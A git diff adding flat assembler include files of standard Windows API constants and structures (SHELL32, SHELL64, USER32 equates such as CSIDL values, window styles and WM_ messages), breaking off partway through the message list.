+FORMAT_MESSAGE_FROM_SYSTEM = 1000h +FORMAT_MESSAGE_ARGUMENT_ARRAY = 2000h +FORMAT_MESSAGE_MAX_WIDTH_MASK = 00FFh + +; Language identifiers + +LANG_NEUTRAL = 00h +LANG_BULGARIAN = 02h +LANG_CHINESE = 04h +LANG_CROATIAN = 1Ah +LANG_CZECH = 05h +LANG_DANISH = 06h +LANG_DUTCH = 13h +LANG_ENGLISH = 09h +LANG_FINNISH = 0Bh +LANG_FRENCH = 0Ch +LANG_GERMAN = 07h +LANG_GREEK = 08h +LANG_HUNGARIAN = 0Eh +LANG_ICELANDIC = 0Fh +LANG_ITALIAN = 10h +LANG_JAPANESE = 11h +LANG_KOREAN = 12h +LANG_NORWEGIAN = 14h +LANG_POLISH = 15h +LANG_PORTUGUESE = 16h +LANG_ROMANIAN = 18h +LANG_RUSSIAN = 19h +LANG_SLOVAK = 1Bh +LANG_SLOVENIAN = 24h +LANG_SPANISH = 0Ah +LANG_SWEDISH = 1Dh +LANG_THAI = 1Eh +LANG_TURKISH = 1Fh + +; Sublanguage identifiers + +SUBLANG_NEUTRAL = 00h shl 10 +SUBLANG_DEFAULT = 01h shl 10 +SUBLANG_SYS_DEFAULT = 02h shl 10 +SUBLANG_CHINESE_TRADITIONAL = 01h shl 10 +SUBLANG_CHINESE_SIMPLIFIED = 02h shl 10 +SUBLANG_CHINESE_HONGKONG = 03h shl 10 +SUBLANG_CHINESE_SINGAPORE = 04h shl 10 +SUBLANG_DUTCH = 01h shl 10 +SUBLANG_DUTCH_BELGIAN = 02h shl 10 +SUBLANG_ENGLISH_US = 01h shl 10 +SUBLANG_ENGLISH_UK = 02h shl 10 +SUBLANG_ENGLISH_AUS = 03h shl 10 +SUBLANG_ENGLISH_CAN = 04h shl 10 +SUBLANG_ENGLISH_NZ = 05h shl 10 +SUBLANG_ENGLISH_EIRE = 06h shl 10 +SUBLANG_FRENCH = 01h shl 10 +SUBLANG_FRENCH_BELGIAN = 02h shl 10 +SUBLANG_FRENCH_CANADIAN = 03h shl 10 +SUBLANG_FRENCH_SWISS = 04h shl 10 +SUBLANG_GERMAN = 01h shl 10 +SUBLANG_GERMAN_SWISS = 02h shl 10 +SUBLANG_GERMAN_AUSTRIAN = 03h shl 10 +SUBLANG_ITALIAN = 01h shl 10 +SUBLANG_ITALIAN_SWISS = 02h shl 10 +SUBLANG_NORWEGIAN_BOKMAL = 01h shl 10 +SUBLANG_NORWEGIAN_NYNORSK = 02h shl 10 +SUBLANG_PORTUGUESE = 02h shl 10 +SUBLANG_PORTUGUESE_BRAZILIAN = 01h shl 10 +SUBLANG_SPANISH = 01h shl 10 +SUBLANG_SPANISH_MEXICAN = 02h shl 10 +SUBLANG_SPANISH_MODERN = 03h shl 10 + +; Sorting identifiers + +SORT_DEFAULT = 0 shl 16 +SORT_JAPANESE_XJIS = 0 shl 16 +SORT_JAPANESE_UNICODE = 1 shl 16 +SORT_CHINESE_BIG5 = 0 shl 16 +SORT_CHINESE_PRCP = 0 shl 16 +SORT_CHINESE_UNICODE = 1 shl 16 +SORT_CHINESE_PRC = 2 shl 16 +SORT_CHINESE_BOPOMOFO = 3 shl 16 +SORT_KOREAN_KSC = 0 shl 16 +SORT_KOREAN_UNICODE = 1 shl 16 +SORT_GERMAN_PHONE_BOOK = 1 shl 16 +SORT_HUNGARIAN_DEFAULT = 0 shl 16 +SORT_HUNGARIAN_TECHNICAL = 1 shl 16 + +; Code pages + +CP_ACP = 0 ; default to ANSI code page +CP_OEMCP = 1 ; default to OEM code page +CP_MACCP = 2 ; default to MAC code page +CP_THREAD_ACP = 3 ; current thread's ANSI code page +CP_SYMBOL = 42 ; SYMBOL translations +CP_UTF7 = 65000 ; UTF-7 translation +CP_UTF8 = 65001 ; UTF-8 translation + +; Resource types + +RT_CURSOR = 1 +RT_BITMAP = 2 +RT_ICON = 3 +RT_MENU = 4 +RT_DIALOG = 5 +RT_STRING = 6 +RT_FONTDIR = 7 +RT_FONT = 8 +RT_ACCELERATOR = 9 +RT_RCDATA = 10 +RT_MESSAGETABLE = 11 +RT_GROUP_CURSOR = 12 +RT_GROUP_ICON = 14 +RT_VERSION = 16 +RT_DLGINCLUDE = 17 +RT_PLUGPLAY = 19 +RT_VXD = 20 +RT_ANICURSOR = 21 +RT_ANIICON = 22 +RT_HTML = 23 +RT_MANIFEST = 24 + +; Clipboard formats + +CF_TEXT = 001h +CF_BITMAP = 002h +CF_METAFILEPICT = 003h +CF_SYLK = 004h +CF_DIF = 005h +CF_TIFF = 006h +CF_OEMTEXT = 007h +CF_DIB = 008h +CF_PALETTE = 009h +CF_PENDATA = 00Ah +CF_RIFF = 00Bh +CF_WAVE = 00Ch +CF_UNICODETEXT = 00Dh +CF_ENHMETAFILE = 00Eh +CF_HDROP = 00Fh +CF_LOCALE = 010h +CF_OWNERDISPLAY = 080h +CF_DSPTEXT = 081h +CF_DSPBITMAP = 082h +CF_DSPMETAFILEPICT = 083h +CF_DSPENHMETAFILE = 08Eh +CF_PRIVATEFIRST = 200h +CF_PRIVATELAST = 2FFh +CF_GDIOBJFIRST = 300h +CF_GDIOBJLAST = 3FFh + +; OS types for version info + +VOS_UNKNOWN = 00000000h +VOS_DOS = 00010000h +VOS_OS216 = 00020000h +VOS_OS232 = 00030000h +VOS_NT = 00040000h +VOS__BASE = 00000000h +VOS__WINDOWS16 = 00000001h +VOS__PM16 = 00000002h +VOS__PM32 = 00000003h +VOS__WINDOWS32 = 00000004h +VOS_DOS_WINDOWS16 = 00010001h +VOS_DOS_WINDOWS32 = 00010004h +VOS_OS216_PM16 = 00020002h +VOS_OS232_PM32 = 00030003h +VOS_NT_WINDOWS32 = 00040004h + +; File types for version info + +VFT_UNKNOWN = 00000000h +VFT_APP = 00000001h +VFT_DLL = 00000002h +VFT_DRV = 00000003h +VFT_FONT = 00000004h +VFT_VXD = 00000005h +VFT_STATIC_LIB = 00000007h + +; File subtypes for version info + +VFT2_UNKNOWN = 00000000h +VFT2_DRV_PRINTER = 00000001h +VFT2_DRV_KEYBOARD = 00000002h +VFT2_DRV_LANGUAGE = 00000003h +VFT2_DRV_DISPLAY = 00000004h +VFT2_DRV_MOUSE = 00000005h +VFT2_DRV_NETWORK = 00000006h +VFT2_DRV_SYSTEM = 00000007h +VFT2_DRV_INSTALLABLE = 00000008h +VFT2_DRV_SOUND = 00000009h +VFT2_DRV_COMM = 0000000Ah +VFT2_DRV_INPUTMETHOD = 0000000Bh +VFT2_DRV_VERSIONED_PRINTER = 0000000Ch +VFT2_FONT_RASTER = 00000001h +VFT2_FONT_VECTOR = 00000002h +VFT2_FONT_TRUETYPE = 00000003h + +; Console control signals + +CTRL_C_EVENT = 0 +CTRL_BREAK_EVENT = 1 +CTRL_CLOSE_EVENT = 2 +CTRL_LOGOFF_EVENT = 5 +CTRL_SHUTDOWN_EVENT = 6 diff --git a/binary/hyperion/source/Fasm/INCLUDE/EQUATES/SHELL32.INC b/binary/hyperion/source/Fasm/INCLUDE/EQUATES/SHELL32.INC new file mode 100755 index 0000000..15873d1 --- /dev/null +++ b/binary/hyperion/source/Fasm/INCLUDE/EQUATES/SHELL32.INC @@ -0,0 +1,128 @@ + +; SHELL32.DLL structures and constants + +struct NOTIFYICONDATA + cbSize dd ? + hWnd dd ? + uID dd ? + uFlags dd ? + uCallbackMessage dd ? + hIcon dd ? + szTip TCHAR 64 dup (?) +ends + +struct NOTIFYICONDATAA + cbSize dd ? + hWnd dd ? + uID dd ? + uFlags dd ? + uCallbackMessage dd ? + hIcon dd ? + szTip db 64 dup (?) +ends + +struct NOTIFYICONDATAW + cbSize dd ? + hWnd dd ? + uID dd ? + uFlags dd ? + uCallbackMessage dd ? + hIcon dd ? + szTip du 64 dup (?) +ends + +struct BROWSEINFO + hwndOwner dd ? + pidlRoot dd ? + pszDisplayName dd ? + lpszTitle dd ? + ulFlags dd ? + lpfn dd ? + lParam dd ? + iImage dd ? +ends + +; Taskbar icon messages + +NIM_ADD = 0 +NIM_MODIFY = 1 +NIM_DELETE = 2 +NIM_SETFOCUS = 3 +NIM_SETVERSION = 4 + +; Taskbar icon flags + +NIF_MESSAGE = 01h +NIF_ICON = 02h +NIF_TIP = 04h +NIF_STATE = 08h +NIF_INFO = 10h +NIF_GUID = 20h + +; Constant Special Item ID List + +CSIDL_DESKTOP = 0x0000 +CSIDL_INTERNET = 0x0001 +CSIDL_PROGRAMS = 0x0002 +CSIDL_CONTROLS = 0x0003 +CSIDL_PRINTERS = 0x0004 +CSIDL_PERSONAL = 0x0005 +CSIDL_FAVORITES = 0x0006 +CSIDL_STARTUP = 0x0007 +CSIDL_RECENT = 0x0008 +CSIDL_SENDTO = 0x0009 +CSIDL_BITBUCKET = 0x000A +CSIDL_STARTMENU = 0x000B +CSIDL_MYDOCUMENTS = 0x000C +CSIDL_MYMUSIC = 0x000D +CSIDL_MYVIDEO = 0x000E +CSIDL_DESKTOPDIRECTORY = 0x0010 +CSIDL_DRIVES = 0x0011 +CSIDL_NETWORK = 0x0012 +CSIDL_NETHOOD = 0x0013 +CSIDL_FONTS = 0x0014 +CSIDL_TEMPLATES = 0x0015 +CSIDL_COMMON_STARTMENU = 0x0016 +CSIDL_COMMON_PROGRAMS = 0x0017 +CSIDL_COMMON_STARTUP = 0x0018 +CSIDL_COMMON_DESKTOPDIRECTORY = 0x0019 +CSIDL_APPDATA = 0x001A +CSIDL_PRINTHOOD = 0x001B +CSIDL_LOCAL_APPDATA = 0x001C +CSIDL_ALTSTARTUP = 0x001D +CSIDL_COMMON_ALTSTARTUP = 0x001E +CSIDL_COMMON_FAVORITES = 0x001F +CSIDL_INTERNET_CACHE = 0x0020 +CSIDL_COOKIES = 0x0021 +CSIDL_HISTORY = 0x0022 +CSIDL_COMMON_APPDATA = 0x0023 +CSIDL_WINDOWS = 0x0024 +CSIDL_SYSTEM = 0x0025 +CSIDL_PROGRAM_FILES = 0x0026 +CSIDL_MYPICTURES = 0x0027 +CSIDL_PROFILE = 0x0028 +CSIDL_SYSTEMX86 = 0x0029 +CSIDL_PROGRAM_FILESX86 = 0x002A +CSIDL_PROGRAM_FILES_COMMON = 0x002B +CSIDL_PROGRAM_FILES_COMMONX86 = 0x002C +CSIDL_COMMON_TEMPLATES = 0x002D +CSIDL_COMMON_DOCUMENTS = 0x002E +CSIDL_COMMON_ADMINTOOLS = 0x002F +CSIDL_ADMINTOOLS = 0x0030 +CSIDL_CONNECTIONS = 0x0031 +CSIDL_COMMON_MUSIC = 0x0035 +CSIDL_COMMON_PICTURES = 0x0036 +CSIDL_COMMON_VIDEO = 0x0037 +CSIDL_RESOURCES = 0x0038 +CSIDL_RESOURCES_LOCALIZED = 0x0039 +CSIDL_COMMON_OEM_LINKS = 0x003A +CSIDL_CDBURN_AREA = 0x003B +CSIDL_COMPUTERSNEARME = 0x003D +CSIDL_PROFILES = 0x003E +CSIDL_FOLDER_MASK = 0x00FF +CSIDL_FLAG_PER_USER_INIT = 0x0800 +CSIDL_FLAG_NO_ALIAS = 0x1000 +CSIDL_FLAG_DONT_VERIFY = 0x4000 +CSIDL_FLAG_CREATE = 0x8000 +CSIDL_FLAG_MASK = 0xFF00 + \ No newline at end of file diff --git a/binary/hyperion/source/Fasm/INCLUDE/EQUATES/SHELL64.INC b/binary/hyperion/source/Fasm/INCLUDE/EQUATES/SHELL64.INC new file mode 100755 index 0000000..6e25bc6 --- /dev/null +++ b/binary/hyperion/source/Fasm/INCLUDE/EQUATES/SHELL64.INC @@ -0,0 +1,127 @@ + +; SHELL32.DLL structures and constants + +struct NOTIFYICONDATA + cbSize dd ?,? + hWnd dq ? + uID dd ? + uFlags dd ? + uCallbackMessage dd ?,? + hIcon dq ? + szTip TCHAR 64 dup (?) +ends + +struct NOTIFYICONDATAA + cbSize dd ?,? + hWnd dq ? + uID dd ? + uFlags dd ? + uCallbackMessage dd ?,? + hIcon dq ? + szTip db 64 dup (?) +ends + +struct NOTIFYICONDATAW + cbSize dd ?,? + hWnd dq ? + uID dd ? + uFlags dd ? + uCallbackMessage dd ?,? + hIcon dq ? + szTip du 64 dup (?) +ends + +struct BROWSEINFO + hwndOwner dq ? + pidlRoot dq ? + pszDisplayName dq ? + lpszTitle dq ? + ulFlags dd ?,? + lpfn dq ? + lParam dq ? + iImage dq ? +ends + +; Taskbar icon messages + +NIM_ADD = 0 +NIM_MODIFY = 1 +NIM_DELETE = 2 +NIM_SETFOCUS = 3 +NIM_SETVERSION = 4 + +; Taskbar icon flags + +NIF_MESSAGE = 01h +NIF_ICON = 02h +NIF_TIP = 04h +NIF_STATE = 08h +NIF_INFO = 10h +NIF_GUID = 20h + +; Constant Special Item ID List + +CSIDL_DESKTOP = 0x0000 +CSIDL_INTERNET = 0x0001 +CSIDL_PROGRAMS = 0x0002 +CSIDL_CONTROLS = 0x0003 +CSIDL_PRINTERS = 0x0004 +CSIDL_PERSONAL = 0x0005 +CSIDL_FAVORITES = 0x0006 +CSIDL_STARTUP = 0x0007 +CSIDL_RECENT = 0x0008 +CSIDL_SENDTO = 0x0009 +CSIDL_BITBUCKET = 0x000A +CSIDL_STARTMENU = 0x000B +CSIDL_MYDOCUMENTS = 0x000C +CSIDL_MYMUSIC = 0x000D +CSIDL_MYVIDEO = 0x000E +CSIDL_DESKTOPDIRECTORY = 0x0010 +CSIDL_DRIVES = 0x0011 +CSIDL_NETWORK = 0x0012 +CSIDL_NETHOOD = 0x0013 +CSIDL_FONTS = 0x0014 +CSIDL_TEMPLATES = 0x0015 +CSIDL_COMMON_STARTMENU = 0x0016 +CSIDL_COMMON_PROGRAMS = 0x0017 +CSIDL_COMMON_STARTUP = 0x0018 +CSIDL_COMMON_DESKTOPDIRECTORY = 0x0019 +CSIDL_APPDATA = 0x001A +CSIDL_PRINTHOOD = 0x001B +CSIDL_LOCAL_APPDATA = 0x001C +CSIDL_ALTSTARTUP = 0x001D +CSIDL_COMMON_ALTSTARTUP = 0x001E +CSIDL_COMMON_FAVORITES = 0x001F +CSIDL_INTERNET_CACHE = 0x0020 +CSIDL_COOKIES = 0x0021 +CSIDL_HISTORY = 0x0022 +CSIDL_COMMON_APPDATA = 0x0023 +CSIDL_WINDOWS = 0x0024 +CSIDL_SYSTEM = 0x0025 +CSIDL_PROGRAM_FILES = 0x0026 +CSIDL_MYPICTURES = 0x0027 +CSIDL_PROFILE = 0x0028 +CSIDL_SYSTEMX86 = 0x0029 +CSIDL_PROGRAM_FILESX86 = 0x002A +CSIDL_PROGRAM_FILES_COMMON = 0x002B +CSIDL_PROGRAM_FILES_COMMONX86 = 0x002C +CSIDL_COMMON_TEMPLATES = 0x002D +CSIDL_COMMON_DOCUMENTS = 0x002E +CSIDL_COMMON_ADMINTOOLS = 0x002F +CSIDL_ADMINTOOLS = 0x0030 +CSIDL_CONNECTIONS = 0x0031 +CSIDL_COMMON_MUSIC = 0x0035 +CSIDL_COMMON_PICTURES = 0x0036 +CSIDL_COMMON_VIDEO = 0x0037 +CSIDL_RESOURCES = 0x0038 +CSIDL_RESOURCES_LOCALIZED = 0x0039 +CSIDL_COMMON_OEM_LINKS = 0x003A +CSIDL_CDBURN_AREA = 0x003B +CSIDL_COMPUTERSNEARME = 0x003D +CSIDL_PROFILES = 0x003E +CSIDL_FOLDER_MASK = 0x00FF +CSIDL_FLAG_PER_USER_INIT = 0x0800 +CSIDL_FLAG_NO_ALIAS = 0x1000 +CSIDL_FLAG_DONT_VERIFY = 0x4000 +CSIDL_FLAG_CREATE = 0x8000 +CSIDL_FLAG_MASK = 0xFF00 diff --git a/binary/hyperion/source/Fasm/INCLUDE/EQUATES/USER32.INC b/binary/hyperion/source/Fasm/INCLUDE/EQUATES/USER32.INC new file mode 100755 index 0000000..37b7ff1 --- /dev/null +++ b/binary/hyperion/source/Fasm/INCLUDE/EQUATES/USER32.INC @@ -0,0 +1,1933 @@ + +; USER32.DLL structures and constants + +struct POINT + x dd ? + y dd ? +ends + +struct POINTS + x dw ? + y dw ? +ends + +struct RECT + left dd ? + top dd ? + right dd ? + bottom dd ? +ends + +struct WNDCLASS + style dd ? + lpfnWndProc dd ? + cbClsExtra dd ? + cbWndExtra dd ? + hInstance dd ? + hIcon dd ? + hCursor dd ? + hbrBackground dd ? + lpszMenuName dd ? + lpszClassName dd ? +ends + +struct WNDCLASSEX + cbSize dd ? + style dd ? + lpfnWndProc dd ? + cbClsExtra dd ? + cbWndExtra dd ? + hInstance dd ? + hIcon dd ? + hCursor dd ? + hbrBackground dd ? + lpszMenuName dd ? + lpszClassName dd ? + hIconSm dd ? +ends + +struct CREATESTRUCT + lpCreateParams dd ? + hInstance dd ? + hMenu dd ? + hwndParent dd ? + cy dd ? + cx dd ? + y dd ? + x dd ? + style dd ? + lpszName dd ? + lpszClass dd ? + dwExStyle dd ? +ends + +struct CLIENTCREATESTRUCT + hWindowMenu dd ? + idFirstChild dd ? +ends + +struct MDICREATESTRUCT + szClass dd ? + szTitle dd ? + hOwner dd ? + x dd ? + y dd ? + cx dd ? + cy dd ? + style dd ? + lParam dd ? +ends + +struct SCROLLINFO + cbSize dd ? + fMask dd ? + nMin dd ? + nMax dd ? + nPage dd ? + nPos dd ? + nTrackPos dd ? +ends + +struct MSG + hwnd dd ? + message dd ? + wParam dd ? + lParam dd ? + time dd ? + pt POINT +ends + +struct MINMAXINFO + ptReserved POINT + ptMaxSize POINT + ptMaxPosition POINT + ptMinTrackSize POINT + ptMaxTrackSize POINT +ends + +struct WINDOWPLACEMENT + length dd ? + flags dd ? + showCmd dd ? + ptMinPosition POINT + ptMaxPosition POINT + rcNormalPosition RECT +ends + +struct WINDOWPOS + hwnd dd ? + hwndInsertAfter dd ? + x dd ? + y dd ? + cx dd ? + cy dd ? + flags dd ? +ends + +struct NMHDR + hwndFrom dd ? + idFrom dd ? + code dd ? +ends + +struct COPYDATASTRUCT + dwData dd ? + cbData dd ? + lpData dd ? +ends + +struct ACCEL + fVirt dw ? + key dw ? + cmd dw ? +ends + +struct PAINTSTRUCT + hdc dd ? + fErase dd ? + rcPaint RECT + fRestore dd ? + fIncUpdate dd ? + rgbReserved db 32 dup (?) +ends + +struct DRAWTEXTPARAMS + cbSize dd ? + iTabLength dd ? + iLeftMargin dd ? + iRightMargin dd ? + uiLengthDrawn dd ? +ends + +struct DRAWITEMSTRUCT + CtlType dd ? + CtlID dd ? + itemID dd ? + itemAction dd ? + itemState dd ? + hwndItem dd ? + hDC dd ? + rcItem RECT + itemData dd ? +ends + +struct MENUITEMINFO + cbSize dd ? + fMask dd ? + fType dd ? + fState dd ? + wID dd ? + hSubMenu dd ? + hbmpChecked dd ? + hbmpUnchecked dd ? + dwItemData dd ? + dwTypeData dd ? + cch dd ? +ends + +struct MEASUREITEMSTRUCT + CtlType dd ? + CtlID dd ? + itemID dd ? + itemWidth dd ? + itemHeight dd ? + itemData dd ? +ends + +struct MSGBOXPARAMS + cbSize dd ? + hwndOwner dd ? + hInstance dd ? + lpszText dd ? + lpszCaption dd ? + dwStyle dd ? + lpszIcon dd ? + dwContextHelpId dd ? + lpfnMsgBoxCallback dd ? + dwLanguageId dd ? +ends + +struct GESTURECONFIG + dwID dd ? + dwWant dd ? + dwBlock dd ? +ends + +struct GESTUREINFO + cbSize dd ? + dwFlags dd ? + dwID dd ? + hwndTarget dd ? + ptsLocation POINTS + dwInstanceID dd ? + dwSequenceID dd ?,? + ullArguments dq ? + cbExtraArgs dd ?,? +ends + +; MessageBox type flags + +MB_OK = 000000h +MB_OKCANCEL = 000001h +MB_ABORTRETRYIGNORE = 000002h +MB_YESNOCANCEL = 000003h +MB_YESNO = 000004h +MB_RETRYCANCEL = 000005h +MB_ICONHAND = 000010h +MB_ICONQUESTION = 000020h +MB_ICONEXCLAMATION = 000030h +MB_ICONASTERISK = 000040h +MB_USERICON = 000080h +MB_ICONWARNING = MB_ICONEXCLAMATION +MB_ICONERROR = MB_ICONHAND +MB_ICONINFORMATION = MB_ICONASTERISK +MB_ICONSTOP = MB_ICONHAND +MB_DEFBUTTON1 = 000000h +MB_DEFBUTTON2 = 000100h +MB_DEFBUTTON3 = 000200h +MB_DEFBUTTON4 = 000300h +MB_APPLMODAL = 000000h +MB_SYSTEMMODAL = 001000h +MB_TASKMODAL = 002000h +MB_HELP = 004000h +MB_NOFOCUS = 008000h +MB_SETFOREGROUND = 010000h +MB_DEFAULT_DESKTOP_ONLY = 020000h +MB_TOPMOST = 040000h +MB_RIGHT = 080000h +MB_RTLREADING = 100000h +MB_SERVICE_NOTIFICATION = 200000h + +; Conventional dialog box and message box command IDs + +IDOK = 1 +IDCANCEL = 2 +IDABORT = 3 +IDRETRY = 4 +IDIGNORE = 5 +IDYES = 6 +IDNO = 7 +IDCLOSE = 8 +IDHELP = 9 + +; Class styles + +CS_VREDRAW = 00001h +CS_HREDRAW = 00002h +CS_KEYCVTWINDOW = 00004h +CS_DBLCLKS = 00008h +CS_OWNDC = 00020h +CS_CLASSDC = 00040h +CS_PARENTDC = 00080h +CS_NOKEYCVT = 00100h +CS_SAVEBITS = 00800h +CS_NOCLOSE = 00200h +CS_BYTEALIGNCLIENT = 01000h +CS_BYTEALIGNWINDOW = 02000h +CS_PUBLICCLASS = 04000h +CS_GLOBALCLASS = CS_PUBLICCLASS +CS_IME = 10000h + +; Windows styles + +WS_OVERLAPPED = 000000000h +WS_ICONICPOPUP = 0C0000000h +WS_POPUP = 080000000h +WS_CHILD = 040000000h +WS_MINIMIZE = 020000000h +WS_VISIBLE = 010000000h +WS_DISABLED = 008000000h +WS_CLIPSIBLINGS = 004000000h +WS_CLIPCHILDREN = 002000000h +WS_MAXIMIZE = 001000000h +WS_CAPTION = 000C00000h +WS_BORDER = 000800000h +WS_DLGFRAME = 000400000h +WS_VSCROLL = 000200000h +WS_HSCROLL = 000100000h +WS_SYSMENU = 000080000h +WS_THICKFRAME = 000040000h +WS_HREDRAW = 000020000h +WS_VREDRAW = 000010000h +WS_GROUP = 000020000h +WS_TABSTOP = 000010000h +WS_MINIMIZEBOX = 000020000h +WS_MAXIMIZEBOX = 000010000h + +; Common Window Styles + +WS_OVERLAPPEDWINDOW = WS_OVERLAPPED or WS_CAPTION or WS_SYSMENU or WS_THICKFRAME or WS_MINIMIZEBOX or WS_MAXIMIZEBOX +WS_POPUPWINDOW = WS_POPUP or WS_BORDER or WS_SYSMENU +WS_CHILDWINDOW = WS_CHILD +WS_TILEDWINDOW = WS_OVERLAPPEDWINDOW +WS_TILED = WS_OVERLAPPED +WS_ICONIC = WS_MINIMIZE +WS_SIZEBOX = WS_THICKFRAME + +; Extended Window Styles + +WS_EX_DLGMODALFRAME = 00001h +WS_EX_DRAGOBJECT = 00002h +WS_EX_NOPARENTNOTIFY = 00004h +WS_EX_TOPMOST = 00008h +WS_EX_ACCEPTFILES = 00010h +WS_EX_TRANSPARENT = 00020h +WS_EX_MDICHILD = 00040h +WS_EX_TOOLWINDOW = 00080h +WS_EX_WINDOWEDGE = 00100h +WS_EX_CLIENTEDGE = 00200h +WS_EX_CONTEXTHELP = 00400h +WS_EX_RIGHT = 01000h +WS_EX_LEFT = 00000h +WS_EX_RTLREADING = 02000h +WS_EX_LTRREADING = 00000h +WS_EX_LEFTSCROLLBAR = 04000h +WS_EX_RIGHTSCROLLBAR = 00000h +WS_EX_CONTROLPARENT = 10000h +WS_EX_STATICEDGE = 20000h +WS_EX_APPWINDOW = 40000h +WS_EX_LAYERED = 80000h +WS_EX_OVERLAPPEDWINDOW = WS_EX_WINDOWEDGE or WS_EX_CLIENTEDGE +WS_EX_PALETTEWINDOW = WS_EX_WINDOWEDGE or WS_EX_TOOLWINDOW or WS_EX_TOPMOST + +; MDI client style bits + +MDIS_ALLCHILDSTYLES = 1 + +; Special CreateWindow position value + +CW_USEDEFAULT = 80000000h + +; Predefined window handle + +HWND_DESKTOP = 0 + +; ShowWindow commands + +SW_HIDE = 0 +SW_SHOWNORMAL = 1 +SW_NORMAL = 1 +SW_SHOWMINIMIZED = 2 +SW_SHOWMAXIMIZED = 3 +SW_MAXIMIZE = 3 +SW_SHOWNOACTIVATE = 4 +SW_SHOW = 5 +SW_MINIMIZE = 6 +SW_SHOWMINNOACTIVE = 7 +SW_SHOWNA = 8 +SW_RESTORE = 9 +SW_SHOWDEFAULT = 10 + +; SetWindowPos flags + +SWP_NOSIZE = 0001h +SWP_NOMOVE = 0002h +SWP_NOZORDER = 0004h +SWP_NOREDRAW = 0008h +SWP_NOACTIVATE = 0010h +SWP_DRAWFRAME = 0020h +SWP_SHOWWINDOW = 0040h +SWP_HIDEWINDOW = 0080h +SWP_NOCOPYBITS = 0100h +SWP_NOREPOSITION = 0200h +SWP_DEFERERASE = 2000h +SWP_ASYNCWINDOWPOS = 4000h + +; SetWindowPos special handle values + +HWND_TOP = 0 +HWND_BOTTOM = 1 +HWND_TOPMOST = -1 +HWND_NOTOPMOST = -2 + +; GetWindow flags + +GW_HWNDFIRST = 0 +GW_HWNDLAST = 1 +GW_HWNDNEXT = 2 +GW_HWNDPREV = 3 +GW_OWNER = 4 +GW_CHILD = 5 + +; RedrawWindow flags + +RDW_INVALIDATE = 0001h +RDW_INTERNALPAINT = 0002h +RDW_ERASE = 0004h +RDW_VALIDATE = 0008h +RDW_NOINTERNALPAINT = 0010h +RDW_NOERASE = 0020h +RDW_NOCHILDREN = 0040h +RDW_ALLCHILDREN = 0080h +RDW_UPDATENOW = 0100h +RDW_ERASENOW = 0200h +RDW_FRAME = 0400h +RDW_NOFRAME = 0800h + +; PeekMessage Options + +PM_NOREMOVE = 0000h +PM_REMOVE = 0001h +PM_NOYIELD = 0002h + +; Window state messages + +WM_STATE = 0000h +WM_NULL = 0000h +WM_CREATE = 0001h +WM_DESTROY = 0002h +WM_MOVE = 0003h +WM_SIZE = 0005h +WM_ACTIVATE = 0006h +WM_SETFOCUS = 0007h +WM_KILLFOCUS = 0008h +WM_ENABLE = 000Ah +WM_SETREDRAW = 000Bh +WM_SETTEXT = 000Ch +WM_GETTEXT = 000Dh +WM_GETTEXTLENGTH = 000Eh +WM_PAINT = 000Fh +WM_CLOSE = 0010h +WM_QUERYENDSESSION = 0011h +WM_QUIT = 0012h +WM_QUERYOPEN = 0013h +WM_ERASEBKGND = 0014h +WM_SYSCOLORCHANGE = 0015h +WM_ENDSESSION = 0016h +WM_SYSTEMERROR = 0017h +WM_SHOWWINDOW = 0018h +WM_CTLCOLOR = 0019h +WM_WININICHANGE = 001Ah +WM_DEVMODECHANGE = 001Bh +WM_ACTIVATEAPP = 001Ch +WM_FONTCHANGE = 001Dh +WM_TIMECHANGE = 001Eh +WM_CANCELMODE = 001Fh +WM_SETCURSOR = 0020h +WM_MOUSEACTIVATE = 0021h +WM_CHILDACTIVATE = 0022h +WM_QUEUESYNC = 0023h +WM_GETMINMAXINFO = 0024h +WM_PAINTICON = 0026h +WM_ICONERASEBKGND = 0027h +WM_NEXTDLGCTL = 0028h +WM_SPOOLERSTATUS = 002Ah +WM_DRAWITEM = 002Bh +WM_MEASUREITEM = 002Ch +WM_DELETEITEM = 002Dh +WM_VKEYTOITEM = 002Eh +WM_CHARTOITEM = 002Fh +WM_SETFONT = 0030h +WM_GETFONT = 0031h +WM_SETHOTKEY = 0032h +WM_QUERYDRAGICON = 0037h +WM_COMPAREITEM = 0039h +WM_COMPACTING = 0041h +WM_COMMNOTIFY = 0044h +WM_WINDOWPOSCHANGING = 0046h +WM_WINDOWPOSCHANGED = 0047h +WM_POWER = 0048h +WM_COPYDATA = 004Ah +WM_CANCELJOURNAL = 004Bh +WM_NOTIFY = 004Eh +WM_INPUTLANGCHANGEREQUEST = 0050h +WM_INPUTLANGCHANGE = 0051h +WM_TCARD = 0052h +WM_HELP = 0053h +WM_USERCHANGED = 0054h +WM_NOTIFYFORMAT = 0055h +WM_CONTEXTMENU = 007Bh +WM_STYLECHANGING = 007Ch +WM_STYLECHANGED = 007Dh +WM_DISPLAYCHANGE = 007Eh +WM_GETICON = 007Fh +WM_SETICON = 0080h +WM_NCCREATE = 0081h +WM_NCDESTROY = 0082h +WM_NCCALCSIZE = 0083h +WM_NCHITTEST = 0084h +WM_NCPAINT = 0085h +WM_NCACTIVATE = 0086h +WM_GETDLGCODE = 0087h +WM_NCMOUSEMOVE = 00A0h +WM_NCLBUTTONDOWN = 00A1h +WM_NCLBUTTONUP = 00A2h +WM_NCLBUTTONDBLCLK = 00A3h +WM_NCRBUTTONDOWN = 00A4h +WM_NCRBUTTONUP = 00A5h +WM_NCRBUTTONDBLCLK = 00A6h +WM_NCMBUTTONDOWN = 00A7h +WM_NCMBUTTONUP = 00A8h +WM_NCMBUTTONDBLCLK = 00A9h +WM_KEYFIRST = 0100h +WM_KEYDOWN = 0100h +WM_KEYUP = 0101h +WM_CHAR = 0102h +WM_DEADCHAR = 0103h +WM_SYSKEYDOWN = 0104h +WM_SYSKEYUP = 0105h +WM_SYSCHAR = 0106h +WM_SYSDEADCHAR = 0107h +WM_KEYLAST = 0108h +WM_INITDIALOG = 0110h +WM_COMMAND = 0111h +WM_SYSCOMMAND = 0112h +WM_TIMER = 0113h +WM_HSCROLL = 0114h +WM_VSCROLL = 0115h +WM_INITMENU = 0116h +WM_INITMENUPOPUP = 0117h +WM_GESTURE = 0119h +WM_GESTURENOTIFY = 011Ah +WM_MENUSELECT = 011Fh +WM_MENUCHAR = 0120h +WM_ENTERIDLE = 0121h +WM_MENURBUTTONUP = 0122h +WM_MENUDRAG = 0123h +WM_MENUGETOBJECT = 0124h +WM_UNINITMENUPOPUP = 0125h +WM_MENUCOMMAND = 0126h +WM_CTLCOLORMSGBOX = 0132h +WM_CTLCOLOREDIT = 0133h +WM_CTLCOLORLISTBOX = 0134h +WM_CTLCOLORBTN = 0135h 